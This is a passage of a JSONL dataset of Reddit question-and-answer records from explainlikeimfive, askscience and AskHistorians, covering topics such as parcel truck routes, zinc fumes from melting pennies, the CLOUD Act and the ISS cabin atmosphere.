[["http://onlinelibrary.wiley.com/doi/10.1111/j.1365-2869.2010.00891.x/pdf", "http://www.ncbi.nlm.nih.gov/pubmed/22942499", "http://www.ncbi.nlm.nih.gov/pubmed/21062286", "http://en.wikipedia.org/wiki/Electroencephalography", "http://en.wikipedia.org/wiki/Alpha_wave"], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3836344/", "http://en.wikipedia.org/wiki/Psychomotor_vigilance_task", "http://en.wikipedia.org/wiki/Multiple_Sleep_Latency_Test", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1750902/"], ["http://www.ncbi.nlm.nih.gov/pubmed/20518604", "http://med.stanford.edu/psychiatry/narcolepsy/"]]}
{"q_id": "2e22qi", "title": "if i am fully submerged in a tub, and i pee does the volume of the water increase?", "selftext": "Since technically the pee is inside me, thus taking up space in the tub, to release it into the tub water, would it zero out or add to the volume of the water?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2e22qi/eli5if_i_am_fully_submerged_in_a_tub_and_i_pee/", "answers": {"a_id": ["cjvbhor"], "score": [7], "text": ["The overall volume of the tub including you, the pee, and the water would not change, but if you were to consider the pee to technically be water or contain water as a part of the pee, then the volume of water did increase. Just to clarify, the overall volume of the system does not. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tchr3", "title": "how is the inside a postal/parcel service truck organized and how do they decide their routes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tchr3/eli5_how_is_the_inside_a_postalparcel_service/", "answers": {"a_id": ["cx4zpu1", "cx501ur", "cx507q6"], "score": [2, 3, 2], "text": ["_URL_0_\n\nthey only make right turns so that helps them decide routes. less gas, less time waiting for lights. not sure about the organization.", "Letter Carrier here.\n\nEach carrier decides for themselves how to organize the mail in their vehicle. I use a Chevy Uplander which has been slightly modified from the consumer version to include for example a wire metal barrier between the passenger compartment and the rear of the vehicle and all the rear seating has been removed. \n\nSo I put most if not all of my DPS on the passenger seat next to me, and one tray of flats next to that. The LLV or FFV can hold three trays of mail, and is much more optimized for delivery than the minivan is.\n\nIn the back of the vehicle I put remaining trays of flats inside the passenger side sliding door, I put any extra clothes I might need in in the center (as upfront as possible). On the driver side of the vehicle I put any parcels starting from the front of the route close to the back of the vehicle and then as they get closer to the passenger compartment, parcels farther into the route. \n\nI do have the ability to change the order of delivery on the route, but it has to be justifiable efficiently.", "I worked on a UPS truck, doing deliveries.\n\nOvernight, the truck is filled and packed in the warehouse. They organize it simply, like lower numbers to higher numbers. (There are all sorts of numbers on the labels, and I knew which ones mattered.) So when we looked for packages in the truck, we knew what area to look in. It wasn't fancy, and wasn't complicated, and worked.\n\nBigger and heavier packages had to be on the floor, and were sometimes harder to find because they weren't always in order. But it only added a few seconds trying to find the right package.\n\nRoutes are decided in the office, by engineers, trying to figure out the fastest way to drive around. The driver usually learns the route after a few weeks or so, and (in my case) didn't use a GPS or anything like that. Sometimes you have no deliveries on a street, so you skip it, and you don't follow the route exactly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://abcnews.go.com/WNT/story?id=3005890"], [], []]}
{"q_id": "10lrlv", "title": "How do you screen for silent mutations (mutations that don't cause phenotype changes) if you know what gene the mutation takes place on? ", "selftext": "For example if I have a strain of E. coli with a *leu*A22 mutation (which I'm assuming is silent) how would I isolate it? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10lrlv/how_do_you_screen_for_silent_mutations_mutations/", "answers": {"a_id": ["c6eq5df"], "score": [2], "text": ["Screening for a truly silent mutation will require sequencing or some other form of genetic testing. If there really is no phenotype, then the genotype is the only thing different. \n\nleuA22 sounds like a SNP, so you'd probably have to streak out for single colonies and sequence them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4sbhj2", "title": "When a spacecraft gets a \"gravitational boost\" from a planet, Newton's laws of motion tell us that the planet gets a \"gravitational drag\". With enough spacecraft, could we ever inadvertently alter the orbit of a planet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4sbhj2/when_a_spacecraft_gets_a_gravitational_boost_from/", "answers": {"a_id": ["d57z1hn", "d583yvz"], "score": [15, 18], "text": ["Sure. We alter the orbit every time a spacecraft uses a planet for a gravitational boost. \n\nGiven the enormous difference in mass, the effect on the orbit is vanishingly small. \n\nBut the effects of the same maneuvers are additive. Were we to send huge numbers of spacecraft or even one super-massive spacecraft, a planet could be redirected into a new orbit, or even out of the solar system altogether. ", "Yes. This is the case, but it will take a significant amount of mass to cause any easily noticeable effects. As this [xkcd what-if](_URL_0_) explains, \"When New Horizons flew by Jupiter, it gained about 4,000 m/s of velocity, while Jupiter lost about 10^(-21) m/s.\" A less-massive planet will be affected more by the same mass of spacecrafts, but the total mass of spacecrafts would need to approach the mass of moons to cause any noticeable change of a planet's orbit within a reasonable timeframe (thousands of years instead of billions)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://what-if.xkcd.com/146/"]]}
{"q_id": "2wdb67", "title": "I was trying to melt down two beat up pennies and this formed, what is it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wdb67/i_was_trying_to_melt_down_two_beat_up_pennies_and/", "answers": {"a_id": ["coq09r0", "coq1xdk", "coq4bi7", "coqdfxz"], "score": [266, 22, 10, 2], "text": ["I'm not sure exactly what that is, it's probably zinc oxide, but, I want to warn you not to do that again. Pennies are 97.5% zinc, and zinc oxide fumes are extremely hazardous. \n\n_URL_1_\n\n_URL_0_ ", "from what I can gather from [this article](_URL_0_) It seems to be hydrogen gas and zinc oxide. it really depends on the year. Before 1982, pennies were straight copper. Now they're zinc with a copper coating.  ", "Depending on crystal  size, it might be ZnO aerogel.", "From 1909-1982 pennies were 95% copper, 5% zinc.\n\nSince they are 97.5% zinc and 2.5% copper."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cdc.gov/niosh/docs/81-123/pdfs/0675.pdf", "http://en.wikipedia.org/wiki/Metal_fume_fever"], ["http://chrisfitzgerald.hubpages.com/hub/Separating-Zinc-and-Copper-from-a-Penny"], [], []]}
{"q_id": "86mrb3", "title": "what is the congress cloud act? how will it affect us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/86mrb3/eli5_what_is_the_congress_cloud_act_how_will_it/", "answers": {"a_id": ["dw6b9pp", "dw6cmpg"], "score": [194, 26], "text": ["At a super high level, there is a process that a foreign government has to go through if they want to request data that resides on servers that are in the US.  It involves the DOJ and various court approvals, the purpose of which is to protect the privacy of US citizens.\n\nThe Cloud Act eliminates that process in favor of bilateral agreements between the US and foreign nations, as developed by the Executive branch (The President).  Advocates say that this will allow for better agreements with foreign nations regarding the exchange of data, while detractors say that it circumvents the 4th Amendments by removing due process for search and seizure.\n\nAs to how it will affect _you_, it probably won't, similar to how if we got rid of the warrant requirement for searches it probably wouldn't affect you much either.  The issue comes when you have something of interest to a foreign government.  If China wants to look at your emails today, they have to have that request approved by the courts; in a Cloud Act world, they can just ask and we can just give them the data without any judicial review.", "\"The unaltered and now official CLOUD Act effectively gets rid of the need for search warrants and probable cause for grabbing a US citizen's data stored online.\n\nUS police only need to point the finger at some account, and tech companies must abide and provide all the needed details, regardless if the data is stored in the US or overseas.\n\nFurther, the bill recognizes foreign law enforcement and allows the US President to sign data-sharing agreements with other countries without congressional oversight. The CLOUD Act will then allow foreign law enforcement to require data on their own citizens stored in the US, also without obtaining a warrant or proving probable cause.\"\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.bleepingcomputer.com/news/government/us-congress-passes-cloud-act-hidden-in-budget-spending-bill/"]]}
{"q_id": "321w8a", "title": "What man-made radio band does Earth \"shine\" the brightest at?", "selftext": "Say you're an alien civilization. You're aiming your radio telescope at Earth. Do we glow unusually bright in the 2.4 and 5 GHz (wifi) bands, from all the millions of wifi devices? Or more in the GSM phone band (900/1,800/1,900 MHz)? Or are all these combined devices' flux not great enough to match radio and television signal bands? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/321w8a/what_manmade_radio_band_does_earth_shine_the/", "answers": {"a_id": ["cq7gy0b"], "score": [4], "text": ["More recently we've been directing our transmissions so that they shine on the area of the planet we're broadcasting. Sending energy off into space is inefficient so we've developed broadcast antenna that shine at the earth without wasting power sending a lot of signal into space. That's not counting other specifically directional transmitters, and anything intentionally sending energy out into the black.\n\n(edit, experience with geo bird only) Such as satellite transmitters which throw energy up, but some of it must miss the target for certain. The most I've operated at in this case was about 90W, throwing through cloud. But then I wasn't at a power that should go very far recoverably.(right?)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "af8htl", "title": "if sugar is fully dissolved in boiling water and the water is then cooled down, will it cause some of the sugar to undisolve?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/af8htl/eli5_if_sugar_is_fully_dissolved_in_boiling_water/", "answers": {"a_id": ["edwcen6", "edwejam", "edwhpnt"], "score": [7, 19, 8], "text": ["Depends on how much sugar you dissolve, \nIn boiling water you can dissolve more than cold water.\nIf you dissolve more sugar in boiling water than you could in hot water, then some will undisolve\nIf not it will stay dissolved", "If you saturate water with a solute (dissolve as much of the solute as the water can hold), then very carefully cool the solution to a temperature that normally can't hold that much of the solute, you have what's called a supersaturated solution. \n\nThis status isn't stable, though. Just a little physical agitation or putting in a little more solute will probably cause all that extra solute to come out of solution and fall to the bottom in solid form.", "Did you never make sugar crystals as a kid?  We did it frequently at my house.  You super saturate hot water with sugar, then tie a string to a pencil and let hang in the water as it cools.  The excess sugar will then crystallize onto the string.  Pretty cool."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1xzueq", "title": "how come spanish programs are louder than english programs ???", "selftext": "Why is it if you are watching a tv show in English if you change it to Spanish it is louder without changing the volume.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xzueq/how_come_spanish_programs_are_louder_than_english/", "answers": {"a_id": ["cfg33fg", "cfg3p1d", "cfg8dvt"], "score": [2, 7, 2], "text": ["Not sure if you are talking about tv shows from South America or Spain, but if you mean the later I can tell you that it's probably due to the tv show format. Loud reality shows are quite popular in Spain right now.\n\nSource: spaniard living in the UK", "I know where you are going with this.... and, with a Honduran wife, all I can say is, stereotypes are often quite real.", "It is actually because predominantly Spanish/Latino households are much louder than Caucasian hoeseholds. They quite often have many more children of all age groups and generally talk louder and more. There are also usually more people living under one roof. This of course is a generlization and not always the case but on average it holds fairly true."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8cpzvo", "title": "why is the standard for an olympic bar 45 pounds? why not a flat 40 or 50?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cpzvo/eli5_why_is_the_standard_for_an_olympic_bar_45/", "answers": {"a_id": ["dxgu5o5", "dxh8akx"], "score": [47, 2], "text": ["It's actually not 45 pounds, it's 20 kilograms. So it really is a nice round number, just not in the measurement system we use in the US.", "Why not a round number like 100 or a cool number like 123 ?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nh82t", "title": "If Earth was the size of Jupiter, would we have explored the entire planet by now?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nh82t/if_earth_was_the_size_of_jupiter_would_we_have/", "answers": {"a_id": ["c392e7y", "c392lwh", "c393cd7", "c392e7y", "c392lwh", "c393cd7"], "score": [10, 57, 3, 10, 57, 3], "text": ["We have not explored [most of the earth](_URL_1_) yet but I get what you are asking. Humans had spread out to most of the habitable and arable parts of the landscape well before modern technology. In fact it only required the invention of boats and navigation to reach the remaining remote and difficult reaches. A larger surface area wouldn't have taken us much longer relative to our time here as there seems to be a rule of life that it spreads out and accelerates. Check the history of population growth and distribution and you'll see the rapid jump between 1800-1930 following probably a hundred thousand years of struggle, adding another 50 years then for a massively increased surface area isn't a drop in that ocean. Also automated satellite mapping took away the need for any physical presence and satellites and computers don't care how big the planet is. Imaging of the planet from space started in 1959 and even if we were Jupiter sized we'd be done by now.\n\n- _URL_0_\n\n", "Assuming you've accounted for all the other variables (gravity, etc.) that an 'inflated' Earth would bring, let's look at the math!\n\nJupiter's surface area is [over 120 times](_URL_4_) that of Earth. So this brings another assumption into play: The distribution of land masses. Again we'll ASSUME that we don't just copy-paste our land masses and ocean onto a Jupiter sized globe. Because if we did, an ocean that size (473,280 km between France and Canada!) would have prevented the discovery of the New World and changed the resource and technology curve quite a bit.\n\nInstead let's say there's new continents at reasonable intervals, with [a 71% water coverage](_URL_2_). The means the discovery of new continents will be available, and technology can progress at roughly the same rate.\n\nNow that we've covered THAT, we can fast forward. There would likely have been no [circumnavigation of the world](_URL_1_) until the era of long distance flight. On old boats, it would have taken well over 10 years if they managed to live off seafood and rain water somehow. And it would have taken hundreds of years to establish outposts or supplies, do the cartography, establish seasonal prevailing currents, etc. And circumnavigation just means ONE ROUTE, not mapping the hundreds of possible land masses from pole to pole.\n\nThe 1900's would have pounded out a good chunk of the 120X sized globe with [aerial circumnavigation](_URL_0_), but space flight would have been the real nail in the coffin. A view of the globe from space would have shown all of the nooks and crannies that needed to be looked at, and directed our explorers to the right places. By now, they would have 'caught up' to our level of exploration.\n\nSo how long would it take to travel around that planet? In a modern sailboat, based on [Jessica Watson's circumnavigation of 210 days](_URL_5_), it would take 2,520 days or 6.9 YEARS to sail around the Jupiter-Earth.\n\nBased on jet flight, an [SR-71 Blackbird](_URL_6_) slowing for in-flight refueling regularly would take around 6 days at cruising speed.\n\nBased on space flight, it would take around 20 hours to orbit at the level that [Vostok 1](_URL_3_) accomplished it.\n\nIn other words: Good luck. :)\n\nEdit 1: Gah, brainfart on circumnavigation figures, thanks for everyone pointing that out! Divide by 10, add 'about', kazam! In the sailing cases, we're talking very rough estimates anyway, since we don't really know how many times they would get lucky with Austrailias, or unlucky with north/south America without a Panama canal. :)", "Spaceflight would have progressed slower as the escape velocity of jupitor is 59.5 km/s rather than earths 11km/s of earth. ", "We have not explored [most of the earth](_URL_1_) yet but I get what you are asking. Humans had spread out to most of the habitable and arable parts of the landscape well before modern technology. In fact it only required the invention of boats and navigation to reach the remaining remote and difficult reaches. A larger surface area wouldn't have taken us much longer relative to our time here as there seems to be a rule of life that it spreads out and accelerates. Check the history of population growth and distribution and you'll see the rapid jump between 1800-1930 following probably a hundred thousand years of struggle, adding another 50 years then for a massively increased surface area isn't a drop in that ocean. Also automated satellite mapping took away the need for any physical presence and satellites and computers don't care how big the planet is. Imaging of the planet from space started in 1959 and even if we were Jupiter sized we'd be done by now.\n\n- _URL_0_\n\n", "Assuming you've accounted for all the other variables (gravity, etc.) that an 'inflated' Earth would bring, let's look at the math!\n\nJupiter's surface area is [over 120 times](_URL_4_) that of Earth. So this brings another assumption into play: The distribution of land masses. Again we'll ASSUME that we don't just copy-paste our land masses and ocean onto a Jupiter sized globe. Because if we did, an ocean that size (473,280 km between France and Canada!) would have prevented the discovery of the New World and changed the resource and technology curve quite a bit.\n\nInstead let's say there's new continents at reasonable intervals, with [a 71% water coverage](_URL_2_). The means the discovery of new continents will be available, and technology can progress at roughly the same rate.\n\nNow that we've covered THAT, we can fast forward. There would likely have been no [circumnavigation of the world](_URL_1_) until the era of long distance flight. On old boats, it would have taken well over 10 years if they managed to live off seafood and rain water somehow. And it would have taken hundreds of years to establish outposts or supplies, do the cartography, establish seasonal prevailing currents, etc. And circumnavigation just means ONE ROUTE, not mapping the hundreds of possible land masses from pole to pole.\n\nThe 1900's would have pounded out a good chunk of the 120X sized globe with [aerial circumnavigation](_URL_0_), but space flight would have been the real nail in the coffin. A view of the globe from space would have shown all of the nooks and crannies that needed to be looked at, and directed our explorers to the right places. By now, they would have 'caught up' to our level of exploration.\n\nSo how long would it take to travel around that planet? In a modern sailboat, based on [Jessica Watson's circumnavigation of 210 days](_URL_5_), it would take 2,520 days or 6.9 YEARS to sail around the Jupiter-Earth.\n\nBased on jet flight, an [SR-71 Blackbird](_URL_6_) slowing for in-flight refueling regularly would take around 6 days at cruising speed.\n\nBased on space flight, it would take around 20 hours to orbit at the level that [Vostok 1](_URL_3_) accomplished it.\n\nIn other words: Good luck. :)\n\nEdit 1: Gah, brainfart on circumnavigation figures, thanks for everyone pointing that out! Divide by 10, add 'about', kazam! In the sailing cases, we're talking very rough estimates anyway, since we don't really know how many times they would get lucky with Austrailias, or unlucky with north/south America without a Panama canal. :)", "Spaceflight would have progressed slower as the escape velocity of jupitor is 59.5 km/s rather than earths 11km/s of earth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pbs.org/wgbh/nova/earth/global-population-growth.html", "http://news.nationalgeographic.com/news/2005/02/0217_050217_seamap.html"], ["http://en.wikipedia.org/wiki/First_aerial_circumnavigation", "http://www.nndb.com/people/629/000092353/", "http://en.wikipedia.org/wiki/Water_distribution_on_Earth", "http://www.russianspaceweb.com/vostok1.html", "http://www.universetoday.com/22710/jupiter-compared-to-earth/", "http://en.wikipedia.org/wiki/Jessica_Watson#Journey", "http://www.sr-71.org/blackbird/manual/"], [], ["http://www.pbs.org/wgbh/nova/earth/global-population-growth.html", "http://news.nationalgeographic.com/news/2005/02/0217_050217_seamap.html"], ["http://en.wikipedia.org/wiki/First_aerial_circumnavigation", "http://www.nndb.com/people/629/000092353/", "http://en.wikipedia.org/wiki/Water_distribution_on_Earth", "http://www.russianspaceweb.com/vostok1.html", "http://www.universetoday.com/22710/jupiter-compared-to-earth/", "http://en.wikipedia.org/wiki/Jessica_Watson#Journey", "http://www.sr-71.org/blackbird/manual/"], []]}
{"q_id": "66pjju", "title": "Why is Medieval Ireland generally excluded from standard histories of the Middle Ages?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/66pjju/why_is_medieval_ireland_generally_excluded_from/", "answers": {"a_id": ["dgkasr0", "dgm6cnz"], "score": [796, 10], "text": ["There are a number of factors which combine to keep Ireland off the big historiographical map of the medieval period, some of which relate to the way that 'standard' narratives of the Middle Ages are constructed in general, but many of which are due to the peculiar nature of medieval Ireland itself.\n\nOne of the reasons is the absence of *all* peripheral European societies from the standard histories of medieval Europe. To paraphrase the late Timothy Reuter, the area between the Loire and the Humber (i.e. Northern France and Southern England) *was* Europe. All of the main meta-narratives of traditional history  as written (in English, in any case) in the twentieth century, focusing in particular on 'feudalism', state-building and intellectual developments was written with the assumption that this region was the core of Western Europe and that what was true for this region was true elsewhere as well. In this sense, the exclusion of Ireland wasn't unique, but part of a wider narrative of excluding more 'peripheral' areas which were difficult to integrate into this picture derived from the 'core'. Thankfully, this kind of thinking isn't as present in modern-day historiography (although its legacy remains) and there are a lot of people now writing history which seeks to integrate the 'centre' and 'periphery' of Europe in a single narrative. Robert Bartlett's *The Making of Europe* (1993) is probably the first major work to make this kind of agenda explicit.\n\nHowever, some of Ireland's own peculiarities are also to blame for its isolation from the historiographical mainstream. Firstly, the historiography of medieval Ireland has been very deeply rooted in modern political concerns since its inception. Early historians like Eoin McNeill and Henry Orpen sought either to paint native Ireland as a Celtic golden-age paradise ('the Island of Saints and Scholars') or as a backwards mess ready to be civilized by Norman (=English) governmental institutions, respectively. Although not as blatant nowadays, there's still a tenancy for these legacies to live on to a certain extent. In addition to this, until the 1990s this nationalist framework and debates meant that very little Irish history sought to engage with the world beyond Ireland or to tie Irish medieval history into wider narratives of medieval Europe.\n\nThis divide between those who study Gaelic Ireland and 'English' Ireland has persisted not least because of the difficulties of the sources. Medieval Ireland has an unusually large base of sources, but they are incredibly difficult to interpret. The rich vernacular written culture has left us with thousands of law texts, medicinal tracts, poems and hagiographical works written in Old and Middle Irish, but little in the way of historical writing, with the exception of the famously laconic Irish Annals. Locked away in an obscure language and largely untranslated, these texts have been studied mostly by scholars coming from a philological rather than a historical background, more interested in the development of the language and the text than the historical value. On the 'Norman/English' side of things, the destruction of virtually all the medieval records of the English government in Dublin with the shelling of the Public Records Office during the Irish Civil War in 1922 has left many central and later medievalists searching for scraps of sources amongst the notes and published works of 19th century archivists. A combination of a small and fractured groups of active scholars and the difficulty of working with medieval Irish sources have slowed the development of historical work on Ireland considerably. \n\nThankfully, however, things are changing. More attention than ever is being given to important Irish figures who contributed to wider European movements, such as Columbanus' monastic network in the 7th century, St Malachai of Armagh's links with the Cistercians in the 12th and the ecclesiastical, political and intellectual importance of Richard FitzRalph, Archbishop of Armagh in the 14th. Ireland is being integrated into wider European history more generally too. In addition to the work of Bartlett (mentioned above), it formed a case-study region in Chris Wickham's influential socio-economic history *Framing the Early Middle Ages* (2005). Most promising, however, is the work being done on the 'New British History' of the central and late middle ages. Drawing on the work of the late Rees Davies (especially *The First English Empire* (2000)), historians such as David Carpenter, Peter Crooks and Michael Brown have been working to integrate the history of British Isles much more closely, arguing that connections between what are now seen as four distinct nations were so deep, numerous and pervasive in the middle ages that they cannot be viewed in isolation. So while it does remain outside the mainstream, Irish medieval history is certainly headed towards a more holistic and integrated future.", "Let me zoom out further than /u/Miles_Sine_Castrum.  I went to a college with a strong great books tradition.  I even took a class called simply \"Western Civilization\" that is a three quarter sequence taking us from the dawn of civilization to the end of the Cold War (I took a specially designed one semester intensive version that was customized for study abroad).\n\nThe first professor was the greatest teacher I've ever had in my life, a medievalist who is the model of a teacher I always want to be.  He put it this way: when we teach Western Civilization, we're teaching not \"all the things that happened in the West\", but the Western tradition.  It's very much a history of ideas, with bits of political and military history thrown in and, in contemporary versions, lots of social and culture history (which only became big things since the 1960's and 1970's, respectively).  \n\nClassical Western Civilization is all based around the triad of Jerusalem-Athens-Rome.  You don't do much on Egypt, on Babylon, on Persia, on pre-Roman anything, or even on Yavne, Sparta, or Constantinople, which are all important compliments and rivals at one time or another to the classical trinity, which I think gets to why we study what we study: they are meant to tell us about how we are *now*, not how things were *then*.  Jerusalem-Athens-Rome don't even particularly much to do with each other, we tend to draw very different things from them: holiness and Mercy from Christ in Jerusalem, democracy and Wisdom from the philosophs in Athens, the state and order from the emperors in Rome.  The connections exist in our minds, because of how we developed, not because the connections simply existed then.\n\nFor the modern era--proper modernity, post the French Revolution, not early modern--we see an entirely different geographical trinity: England-France-Germany.  We see occasional trips elsewhere: the inquisition and Don Quixote and at least a mention of the New World from Spain (chronologically very close together); we have democracy, the civil war, and the World Wars from America; we have the Russian Revolution and Stalin and then little about it until it ends; we have an anarchist assassin in Serbia; we have the Scottish Enlightenment; we have arts in Italy and a mention of Mussolini as an almost inconsequential lesser light of fascism.  But the core is always England, France, Germany, those are the great minds and great states who we always come back to when we are taught \"the Western Tradition\".  \n\nI am not a Medievalist, but I get the sense that when we generalists learn the the Medieval and Early Modern Periods, we still largely learn it as a course in Western Civilization.  The sage of my youth didn't explicitly discuss the Medieval or Early Modern Eras, but I would guess he'd say the trinity there would be Italy-France-Germany.  We learn about popes, and the Holy Roman Empire, and the modern state in France.  We learn about the Renaissance, Luther and Gutenberg, and the Wars of Religion.  Ireland is often seen as important to the project Western Civilization, in that apparently many manuscripts were preserved there and pre-Cluniac monasticism reached a height there, but it is normally seen as core to the Western legacy because there were few core events there, it produced few independent ideas that come down to us today.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d2cukr", "title": "What is the difference between temperature and pressure?", "selftext": "As I understand them, in a gas temperature is related to the kinetic energy its atoms and pressure is how hard those atoms hit their container. These seem to both be based on the speed of those atoms. So what I don\u2019t understand is how those two are distinguishable although I know they can and are measured separately.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d2cukr/what_is_the_difference_between_temperature_and/", "answers": {"a_id": ["ezw6ufr"], "score": [8], "text": ["You're forgetting about density mostly, be it by the amount of gas or size of the container. \n\n\nThe ideal gas law is PV = nRT, which works pretty well for real gases. R is just a constant. That leaves n, V, P, and T. P is pressure, T is temperature, V is volume of the container, and n is the number of moles of gas, how many gas molecules/atoms there are. \n\n\n\nSo you're right, if we don't change volume and you don't change the amount of gas, then P and T work out to be pretty much the same thing just related by a constant factor. If you double P, you double T. For a sealed, rigid container, P and T relate how you think they do. \n\n\nHowever, consider n for a second (V is constant). To get double P, we can either have double n, or double T. Intuitively, more gas causing lower energy collision works out to the same pressure as less gas causing fewer higher energy collisions. \n\n\nNow let's consider V for a second, leaving n the same. To double P again, we can either double T or half V. Intuitively, shrinking a gas you keep the same temperature will increase pressure as depsite it all having the same kinetic energy, collisions are more frequent as the space between gas molecules and container has decreased. Alternatively a larger container can have the same pressure by increasing the temperature so the gas moves faster to offset the larger space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2y05ia", "title": "Why did WWII have such a large affect on King George if he was just a ceremonial head of the Empire?", "selftext": "Queen Elizabeth's realms are always involved in war and it doesn't  affect her at all, because she has no power.  The same role as the King in WWII.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2y05ia/why_did_wwii_have_such_a_large_affect_on_king/", "answers": {"a_id": ["cp5dsuy"], "score": [6], "text": ["Queen Elizabeth rules over a fraction of the territories and colonies and dominions that her father did;  India split in '47, so there's a billion souls off of her plate right from the go. \n\nWorld War II was so much bigger, more involved, and had so much more at stake than any conflict since then in terms of lives, damage, political change, etc.  Hitler came within an ace of conquering Continental Europe totally in the fall of 1940, and England was the ONLY power that was actively opposing Germany with any real committment at that time.  The British were fearful (and half-certain) that England was going to be invaded, this fear only slacked off in early '42.  They had plans for anti-tank ditches in Picadilly square, dumping oil in the Channel and setting it aflame, etc. Couple this with the large losses the British Empire took from the Axis in every part of the world during those first few years, and you can begin to see how it would wear on a man.  King George was the national symbol of England in a time of intense crisis.  That's an enormous amount of strain. \n\nCompare to this Elizabeth's reign;  what's left of the British Empire is firmly allied with America almost unilaterally, there hasn't been a major conflict since Korea, and every military action since then that they've been wrapped up in has either been rebellion-based (Malaya), NATO-backed policing actions, and low-level dustups like the Falklands where there might be a lot of prestige at stake, but very few boots on the ground and no risk of serious harm should they be lost anyway. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xdy2a", "title": "Why is the ISS atmosphere kept at 101.3 kPa?", "selftext": "I know that pure oxygen at atmospheric pressures is bad news ([oxygen toxicity](_URL_2_), [combustion](_URL_0_)), and that our bodies cannot handle [rapid changes in pressure](_URL_1_), but why not keep the ISS and other space vehicles at something like 17\u201318 kPa pure oxygen (or something similar, adjusted for CO2 and water vapor in the alveoli) to provide oxygen to the crew? After proper adjustment, would there be any ill effects on health? Does the extra nitrogen really protect against combustion that much? Advantages I suspect:\n\n- less mass required to put into orbit\n- vehicle less prone to leaking (smaller \u0394P)\n- leaks that might happen would not be as rapid (again, smaller \u0394P)\n- possible decreased metabolic demand of breathing due to lower gas density (although I have read conflicting data on this... I can't find a study that looked only at nitrogen partial pressure and diaphragm workload).\n\nEven if pure oxygen at much-reduced pressure is a bad idea somehow, why not 50% oxygen adjusted with nitrogen to be a comfortable partial pressure? Why a full atm (i.e., sea level?)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xdy2a/why_is_the_iss_atmosphere_kept_at_1013_kpa/", "answers": {"a_id": ["coz9c5i", "coz9gs9", "cozalcu", "cozeelp", "cozgn9i", "cozhddf", "cozhowu"], "score": [60, 11, 5, 7, 3, 3, 2], "text": ["Worth mentioning the [Apollo 1 experience](_URL_0_).\n\nBy now it is well known that 1/3 bar with pure oxygen is perfectly breathable, but the increased fire risk is a known issue that they want to avoid.\n\nOn the other hand, the high pressure and mass of the atmosphere is not that bad. The ISS itself is 450 tons, so nitrogen really made a very small difference in launch mass. It is true that nitrogen is difficult to transport since it cannot be generated from water or lithium perchlorate as oxygen, but it's also not consumed so they don't have to take it there regularly.\n\nThe risk of fire may not be that high, but if it did happen, it'd be really difficult to deal with it. The ECLS systems will not be able to handle such as big load of CO*_2_*, and incomplete combustion products would just not be handled in any amount. You cannot just \"open the windows\" like you would at home - in the very worst case they would take shelter in the airlock to vent the valves but it's really not something they want to do.\n", " > possible decreased metabolic demand of breathing due to lower gas density (although I have read conflicting data on this... I can't find a study that looked only at nitrogen partial pressure and diaphragm workload).\n\nworth noting that this wouldn't necessarily be a good thing: our bodies are adapted to deal with the workload of normal breathing.  After all, you have a decreased metabolic demand from standing if you spend all day sitting down, but that isn't particularly good for you.", "I'm weighing in as someone who has scuba-dived. Since you have some medical knowledge, you've heard of decompression sickness (DCS)? Divers breathe in normal air at greater-than-atmospheric-pressure,  causing more nitrogen to be dissolved in the bloodstream, and then surfacing without giving time to equilibrate to normal air pressure? It causes tiny nitrogen bubbles in the bloodstream, and can be fatal. \n\nDivers can spend time to de-gas underwater if they've enough air in their tank, or they can de-gas on land in a special decompression chamber in certain medical facilities.\n\nIf you were to change the composition and decrease the air pressure inside the ISS, astronauts coming from Earth would go through the equivalent of divers ascending to the surface. They would need time to slowly equilibrate to the pressure in the ISS, and this would have to be done in incremental steps. And if they suffered DCS  on board, there aren't any decompression chambers. ", "This is a really old study (mid 70s), but Skylab used a 5 psi total pressure with normal oxygen partial pressure. They wrote at the time that those astronauts had reduced vital capacity possibly as a result of the reduced total pressure:\n\n[Source - Pulmonary Function and Evaluation During and Following Skylab Space Flights (SKYPUL)](_URL_0_)\n \n > In summary, the vital capacity changes observed inflight may be partially explained as a response to 34.5 kPa (5 psia) ambient pressure. However, the proportion of vital capacity decreases directly attributable to other factors such as body fluid shifts and a cephalad 